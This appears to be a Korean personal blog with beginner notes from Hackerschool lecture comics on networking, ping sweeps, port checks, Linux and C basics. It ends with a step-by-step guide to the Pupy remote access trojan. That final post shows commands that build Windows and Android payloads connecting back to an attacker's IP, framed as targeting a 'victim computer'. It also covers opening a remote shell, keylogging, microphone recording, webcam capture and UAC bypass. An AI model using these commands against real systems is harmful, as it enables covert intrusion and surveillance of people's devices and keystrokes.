* 해커스쿨 강의만화 기록_4(고등학교 단계) *


마지막으로 4편, 고등학교 단계입니다.


이번 편에는 cmd 상에서 ping 명령어를 통해 단말기 유무를 판별하는 것을 보여주었습니다.



==============================================================================================


지식의 출처는 해커스쿨입니다. 감사합니다. 문제 될 경우 필히 삭제하도록 하겠습니다.


==============================================================================================



[컴퓨터 알아내기]

동일 네트워크 상 = 끝자리 하나만 다름

ex. 192.168.0.13 and 192.168.0.16 이런식(1~255)

cf) 192.168.0.1 과 같이 끝자리가 1은 거의 대부분! GateWay 로 쓰인다.


*** route 명령어 ***

Link = https://m.blog.naver.com/PostView.nhn?blogId=ys9922&logNo=90069129492&proxyReferer=https%3A%2F%2Fwww.google.co.kr%2F

********************


[ping 반복 c코드]

#include <stdio.h>


int main() {

int i;

char cmd[40];


for(i = 1;i<=255;i++) {

sprintf(cmd, "ping 192.168.0.%d", i);

system(cmd);

}

}


+ 핑 한번때리는 옵션:-c 1

sprintf(cmd, "ping -c 1 192.168.0.%d", i);


+ grep 으로 걸러내기:|grep from -> 응답이 있는 것은 from 이라는 문자열이 들어가기 때문.

sprintf(cmd, "ping -c 1 192.168.0.%d|grep from", i);


[구체적인 조사]

운영체제, SSH와 같은 포트의 오픈여부?

TTL값도 알아야함.

TTL? Time To Live, 패킷의 유효시간.

TTL=3은 최대 3개의 라우터를 거쳐갈 수 있다.

TTL 값의 존재 이유? 영원히 돌아다니는 패킷을 방지하기 위해

윈도우의 TTL = 100~128

리눅스의 TTL = 50~64


SSH = 22 port

SSH를 사용한다? => 22번 포트가 열려있다.

X-windows  = 6000번 퐅,

X-windows를 사용하지 않는다? => 6000번 포트가 닫혀있다.


-> telnet (대상의 IP주소) (포트번호)

열려있다?->허가됨

닫혀있다?->거부됨(refused)

ex. 

> telnet 192.168.0.13 22

Posted by NDC :

* 해커스쿨 강의만화 기록_3(중학교 단계) *


이번에는 3편, 중학교 단계입니다.


이번 편에는 프로그램의 전반적인 모습, 가장 기본적인 개념에 대해서, 메모리란 무엇인가? 에 대해서 다룬 것 같습니다.



==============================================================================================


지식의 출처는 해커스쿨입니다. 감사합니다. 문제 될 경우 필히 삭제하도록 하겠습니다.


==============================================================================================



[언어]

기계어-어셈-포트란(이때 고급언어 첫등장)-코볼-베이직-비

-씨-씨플플-HTML(+PHP)-python,delphi,java 등

미국 표준협회(ANSI) 에서 C언어의 표준안 발표(1990) -> ANSI-C


사람-c언어 작성(*source code*)-컴파일러(C언어->기계어(*binary code*))-컴퓨터가 보고-동작(프로그램)


패키지가 있나없나?

> ls /usr/bin/(package name)

ex. ls /usr/bin/gimp

있으면 경로 출력, 없으면 No such file or directory(오류뜸)


*** /usr/bin/ 에 대해

ex. > touch a.sh 라는 쉘 스크립트 하나 만들었다.

> chmod 777 ./a.sh

이 쉘스크립트를 실행시키려면? 경로입력을 일일히 해야한다.

경로입력없이 그냥 

> a.sh

로만 실행시키려면?

> sudo mv ./a.sh /usr/bin/

=> /usr/bin/ 경로에 넣어라!

그러면 경로를 입력하지 않아도 바로 실행된다.


[소스코드 입력]

1. cat > main.c - 이후 소스코드 입력하고 완료 후엔 Ctrl+d

but, 입력한(엔터를 친) 부분이 수정불가한게 단점.

2. nano 혹은 gedit, vi 등 CUI 기반의 텍스트 에디터 사용


컴파일

> gcc -o main.out main.c -> 실행파일:main.out

> gcc main.c -> 실행파일:a.out


[vi editor]

1.명령모드 2.편집모드 3.라인모드

> touch main.c

> vi main.c

이후 보이는 화면은? 


3.라인모드

:w = 저장

:q = 나가기

:q! = 세이브 없이 강제종료

:wq = 세이브 하고 종료


[메모리]

Ram = Random Access Memory,임의 접근 기억장치

속도가 빠르다(전기 신호), 하지만 전기 신호로 정보를 기록하기 때문에

컴퓨터 종료 시 사라진다.

HDD 는 금속 판에 자성 물질을 입혀서 저장 = 속도가 느림. 하지만 대용량(물리적 공간)

Rom = Read Only Memory, 읽기 전용 기억장치


Ram은 빠르다, 하지만 빈 공간에 저장해야 한다(덮어씌워지면 이전 정보가 사라짐)

프로그램들은 메모리에 접근하기 전에 빈 공간을 요청해야 함.(메모리 할당)

1byte = 8bit(8개의 자릿수를 의미)

@@@@ @@@@ 에서 @는 1bit, @@@@ @@@@는 1byte

@에는 0 or 1이 올 수 있다.


예외)ARM Assembly 에서는 메모리에서 @@ 이 1byte, 이는 Hexa 값이기 때문에 2의 8승, 즉256개의 정보가 들어간다

(0x00 ~ 0xFF) = @를 풀어서 보면? xxxx 와 동일, x에는 0 or 1이 올 수 있다. 


즉, bit 는 자릿수다

n bit = 자릿수 n개

Posted by NDC :

* 해커스쿨 강의만화 기록_2(초등학교 단계) *


이전의 1편에 이어서 이번에는 초등학교 카테고리의 강의만화를 정리한 것들을 올리겠습니다.



==============================================================================================


지식의 출처는 해커스쿨입니다. 감사합니다. 문제 될 경우 필히 삭제하도록 하겠습니다.


==============================================================================================



[운영체제]

컴퓨터에서 어떤 작업이라도 하기 위한 가장 기초적인 프로그램

Bell 연구소의 UNIX 운영체제 개발(어셈블리어, 이후 UNIX는 C언어로 재개발된다)

-> 워크스테이션급의 고성능 컴퓨터를 위한 무거운 OS가 일파만파 생겨남

-> DOS(Disk Operating System) 개발됨(디스크 한장에 OS가 있다)

-> 빌 게이츠의 MS-DOS 개발됨(이후 MS-Windows 로 발전)

-> Linux 출시됨(리누스 토발즈)


[리눅스]

Unix 를 모태로 개발됨.

하지만 Kernel 을 포함한 모든 소스코드는 토발즈가 독자적으로 구현.

특징

- PC(Personal Computer)에서 사용가능.

- 멀티 유저 시스템을 지원(컴퓨터 한대에 한명이 아님, 자식 낳듯이 퍼질 수 있다->서버 시스템)

- 가볍고 안정적(저사양 컴퓨터에서도 사용가능)

- 무료, 오픈소스(내 마음대로 수정 가능)

- 글로벌하게 만들어가는 OS(오픈 소스 프로젝트, 지속적이고 빠른 업그레이드)


startx 명령어:x-windows 실행.(GUI 모드, Command 는 prompt 모드라고 한다.)


리눅스의 최고 관리자:root

- 사용자 관리(추가, 삭제, 패스워드 변경 등등)

- 서비스 관리(Web, FTP, Mail 등의 서비스 설치 및 삭제)

- 시스템 종료 및 리부팅

- 기타 중요한 설정 변경(날짜/시간, 네트워크 설정, 도메인 설정 등)


GUI->CUI(=TUI 진입:Ctrl+Alt+F1

CUI->GUI 진입:Ctrl+Alt+F7


CUI를 사용해야만 하는 경우

- 원격으로 나의 Linux 서버, 혹은 다른 사람의 서버에 접속할 때

- Linux의 설정을 세부적으로 변경하고 싶을 때

- 소스코드로 이루어진 새로운 프로그램을 설치할 때

- X-Windows 에 문제가 생겨 정상적으로 부팅이 되지 않을 때

- CUI 기반의 훌륭한 프로그램등을 사용해 보고 싶을 때(nmap, nc 등)


[데비안]

이안 머독으로부터 시작


[듀얼부팅]

- 두개의 하드에 각각 윈,눅 설치

- 하나의 하드를 두개의 파티션으로 나누어 각각 윈,눅 설치

- 윈 안에 눅 설치

- 눅 안에 윈 설치

Posted by NDC :

* 해커스쿨 강의만화 기록_1(유치원 단계) *




17회 해킹캠프에 당첨되었습니다!


해킹켐프를 준비하기 위해 해커스쿨에서 대충 만화정도만 살펴보았는데


상당히 도움이 되었던 것 같습니다.

(카테고리에서 유치원~고등학교 까지입니다.)


오늘은 제가 본 강의만화들을 텍스트로 한번 정리해 보았고, 그것들을 공유하려고 가져왔습니다.

(두서없이 적었습니다. 보기 힘드시겠지만 공유에 목적을 두고 하도록 하겠습니다.)


==============================================================================================


지식의 출처는 해커스쿨입니다. 감사합니다. 문제 될 경우 필히 삭제하도록 하겠습니다.


==============================================================================================


해커스쿨 URL

http://www.hackerschool.org/Sub_Html/HS_Community/index.html

해킹캠프 URL

http://hackingcamp.org/




1. 네트워크 - IP, port, protocol, 방화벽

2. 프로그래밍 - C언어/php,asp(웹해킹)/WinAPI(윈도우즈해킹)

/POSIX C,Shell script,perl(유닉스해킹)/Assembly(기계어)

3. 운영체제 - 윈도우즈,유닉스,리눅스(서버구축,메모리,라이브러리,백도어,스텔스)

4. 수학 - 메모리주소 계산,역공학,암호학


#########################################################################################


- 인터넷,TCP/IP등 네트워크 기초 이론에 대해 학습

- 운영체제(리눅스)의 설치, 운용, 서버 구축 방법

- C언어 학습, POSIX C언어도 학습, 이후 네트워크 프로그래밍

- 해킹 기법 학습, 버퍼 오버플로우, 포맷 스트링, 네트워크 해킹, 웹 해킹 등등

- 어셈블리어 학습 후 바이너리 파일 디버깅 실습, 운영체제의 커널에 대해 학습.


#########################################################################################


[네트워크]

인터넷과 사용자를 연결시켜주는 업체 = ISP(Internet Service Provider)

Ethernet = 데이터 통신 기술의 한 종류, 초당 10Mbps

인터넷 연결 순서:집-전봇대-맨홀(지하로가서)-전화국-ISP(인터넷서비스제공자)

라우터:집에서 나온 패킷이 도착해야 할 곳을 찾아줌.

패킷:데이터와 비슷함

내가 데이터(패킷)를 송출하면 그 데이터(패킷)는 ISP의 라우터에 도달함.(ex. Cisco Router)

내가 송출한 데이터가 수신될 위치를 찾는 것이 라우터의 역할.

라우터는 인터넷 곳곳에 설치되어 있다. 

목적지를 찾는 것 뿐만이 아니라, 목적지까지 가장 빠른 길을 찾는 것도 라우터의 역할.


그럼 패킷이란?

패킷은 실생활의 소포와 비슷한 의미.

소포처럼 받는사람의 주소(=받는이 IP)와 보내는사람의 주소(=보내는이 IP)가 자동으로 기록됨.

이처럼 실제 데이터 앞쪽에 자동으로 붙는 주소같은 정보들을 Header라고 한다.

헤더+실제 데이터 = 1개의 패킷


[기본 네트워크 명령어들]

net send = 상대방 컴퓨터에 메세지를 보내는 명령어

> net send (상대방 IP) ("보낼 메세지") 이었지만...XP sp2 이후로 막힘

> msg * Hi -> 로컬 상의 모든 세션(컴퓨터)에게 Hi 라는 메세지를 보냄.

/V -> 상태 보여줌 / /W -> 응답 보여줌

그래서 보통은 

> msg *(=모든 세션) /V /W Hello!

내 컴퓨터 IP = 127.0.0.1

(Link = http://neoray.org/495#.Wohkla5l9aQ)


ping = 상대방 컴퓨터와 내 컴퓨터가 서로 연결되어 있는지를 확인하는 명령어

ex1. ping (IP Address)

ex2. ping (Domain)


ipconfig(Linux:ifconfig) = 내 컴퓨터의 IP를 보는 명령어


NETSTAT = 내 컴퓨터에 열린 포트를 보는 명령어(ex. netstat -an)


TRACERT = 내 컴퓨터에서 상대방 컴퓨터까지 이어진 경로를 추적하는 명령어

ex. tracert (Domain or IP Address)///(ex. tracert google.com)

여기서 나오는 IP들은 라우터이다.

Posted by NDC :

* PUPY 설치 및 간략한 사용 가이드 *

 

[네트워크 연결 필요함]

OS : Kali Linux

VM : Virtual Box


RAT( Remote Access Trojan or Remote Administration Tool) 도구 pupy 설치 및 사용방법


> git clone https://github.com/n1nj4sec/pupy.git

> git submodule init

> git submodule update

 

cd ~/pupy/pupy 안에 파이썬 모듈이 들어있는 파일(requirements.txt) 가 있음

이 파일을

> pip install -r requirements.txt

로 한번에 설치해주기


* 사용 명령어(.exe 파일 만들기)

cd ~/pupy/pupy 안에 pupygen.py 있음

 

./pupygen.py -O (피해자컴퓨터 OS) -A (피해자컴퓨터 아키텍쳐) -o (실행파일 이름.확장자) connect --host (공격자컴퓨터 IP) --transport ssl

 

예시) ./pupygen.py -O windows -A x64 -o ips.exe connect --host 192.168.0.17 --transport ssl
예시 - 안드로이드) ./pupygen.py -O android -o nd.apk connect --host 192.168.0.17 --transport ssl
------------------------------------------------------------------------------------------------------------------------------------

>>> sessions -l

으로 연결된 기기 확인. 그러면 연결된 기기가 쭉 나열됨.

거기서 연결하고 싶은 기기의 id 확인.

>>> sessions -i (연결기기 id)

결과) [+] default filter set to (id) -> (연결되었다는 의미)
------------------------------------------------------------------------------------------------------------------------------------
>>> info
입력시 세션(연결된 기기)의 자세한 정보가 출력.
------------------------------------------------------------------------------------------------------------------------------------
>>> shell
입력시 해당 windows의 cmd 창처럼 사용가능함.(ipconfig, taskmgr 등 cmd에서처럼 사용가능.)

칼리 리눅스는 한글(949)을 지원 안하기 때문에, cmd 창의 언어를 바꿔줄 필요가 있다.
-> chcp 437(영어:437,한글:949)

 

cmd 종료 : exit 입력

 

*유용한 cmd 명령어*
1. systeminfo : 호스트,OS버전,OS설치날짜,CPU정보,메모리,물리적메모리와가상메모리,핫픽스정보,랜카드정보,IP정보 출력
2. msconfig(시스템구성) : 일반,부팅,서비스,시작프로그램,도구 등 OS부팅에 관한 중요한사항을 조정할 수 있는 시스템구성
3. regedit(레지스트리 편집기) : 레지스트리를 편집할 수 있는 프로그램
4. dxdiag : direct x 진단도구, 그래픽과 사운드의 세부정보를 보여주는 것
5. ipconfig : 랜카드정보와 IP정보를 보여주는 명령어
6. taskmgr : Windows 작업관리자, 응용프로그램,프로세스,서비스,성능,네트워킹,사용자의 정보를 보여줌
7. gpedit.msc(로컬그룹정책편집기) : 여기서 "로컬 컴퓨터 정책" - "관리 템플릿" 을 클릭해서 바탕화면,작업표시줄 및 시작메뉴,제어판,시스템 등 사용자가 직접 기능을 제어할 수 있음.
8. compmgmt.msc(컴퓨터관리:computer management) : 작업스케쥴러,이벤트뷰어,장치관리자,디스크관리,서비스항목 등 여러가지 시스템을 컨트롤하는 명령어
9. diskmgmt(디스크관리:disk management) : 시스템의 HDD 정보와 파티션정보를 보여주고 조정하는 시스템유틸
10. devmgmt.msc(장치관리자:device management) : 컴퓨터의 장치드라이버를 보여주는 명령어
11. lusrmgr.msc(로컬사용자그룹:local user manager) : 내 컴퓨터에 로그인 사용자나 네트워크 그룹을 알 수 있는 유틸리티
12. servics.msc(서비스) : 윈도우서비스항목을 컨트롤하는 유틸, 운영체제 로딩을 빠르게하기 위해 불필요한 서비스항목을 disable 하는데 많이 사용함.
------------------------------------------------------------------------------------------------------------------------------------


!주의
./pupysh.py 로 실행하는 pupy shell 을 >> exit 로 종료하는 것이 아닌 Ctrl + Z 로 강제종료할 시 터미널을 껐다가 켜야 정상 재작동됨.

------------------------------------------------------------------------------------------------------------------------------------

[간략한 모듈 설명] (자세한건 -h 옵션 사용하세요!) 

 >> run admin/dns

 대상의 IP Address 필요

 IP, Host name 나열

 >> run admin/getpid

 X

 pupy 로 만든 exe 파일 processor PID 와 Name 나열

 >> run network/port_scan

 대상의 IP Address 필요

 해당 IP에 열려있는 포트 알려줌, -p (PORTS) 로

특정 포트의 open/close 여부 확인가능

 >> run privesc/bypassuac

 X

 ?? 이건 무슨기능일까

 >> run gather/keylogger

 {start | stop | dump}

 start 입력: 키보드 입력저장, dump 입력: terminal에

출력, stop 입력: 키보드 입력저장 중지(한글인식 X)

 >> run gather/record_mic

 X

 -t (시간) 으로 녹음시간 저장가능,

 -v 옵션은 녹음파일 바로실행.

 >> run gather/webcamsnap

 X

 노트북에 달린 웹캠으로 사진 바로찍음

 >> run manage/lock_screen

 X

 강제로 로그오프 시킴.

 

Posted by NDC :